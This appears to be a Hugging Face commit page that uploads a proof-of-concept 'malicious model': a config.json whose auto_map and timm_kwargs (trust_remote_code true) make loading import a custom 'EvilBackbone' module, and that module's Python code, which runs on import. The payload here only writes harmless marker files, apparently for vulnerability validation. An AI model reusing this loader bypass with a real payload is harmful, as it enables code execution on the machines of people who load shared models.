hlky commited on
Commit
06f46d5
·
verified ·
1 Parent(s): 0f5854c

Upload 2 files

Browse files
Files changed (2) hide show
  1. config.json +33 -0
  2. evil_backbone.py +16 -0
config.json ADDED
@@ -0,0 +1,33 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "model_type": "omdet-turbo",
3
+ "backbone_config": {
4
+ "model_type": "swin",
5
+ "image_size": 224,
6
+ "embed_dim": 96,
7
+ "depths": [
8
+ 2,
9
+ 2,
10
+ 6,
11
+ 2
12
+ ],
13
+ "num_heads": [
14
+ 3,
15
+ 6,
16
+ 12,
17
+ 24
18
+ ],
19
+ "window_size": 7,
20
+ "out_features": [
21
+ "stage2",
22
+ "stage3",
23
+ "stage4"
24
+ ],
25
+ "_name_or_path": "/workspace/validation_artifacts/omdet_turbo_timm_kwargs_bypass/malicious_model",
26
+ "auto_map": {
27
+ "AutoBackbone": "evil_backbone.EvilBackbone"
28
+ }
29
+ },
30
+ "timm_kwargs": {
31
+ "trust_remote_code": true
32
+ }
33
+ }
evil_backbone.py ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+ from pathlib import Path
3
+ MARKER_DIR = Path(os.environ.get("POC_MARKER_DIR", "/tmp/omdet_turbo_poc_markers"))
4
+ MARKER_DIR.mkdir(parents=True, exist_ok=True)
5
+ (MARKER_DIR / "RCE_MARKER").write_text("dynamic AutoBackbone module imported/executed\n")
6
+
7
+ import torch.nn as nn
8
+
9
+ class EvilBackbone(nn.Module):
10
+ def __init__(self):
11
+ super().__init__()
12
+
13
+ @classmethod
14
+ def _from_config(cls, config, **kwargs):
15
+ (MARKER_DIR / "FROM_CONFIG_MARKER").write_text("EvilBackbone._from_config called\n")
16
+ return cls()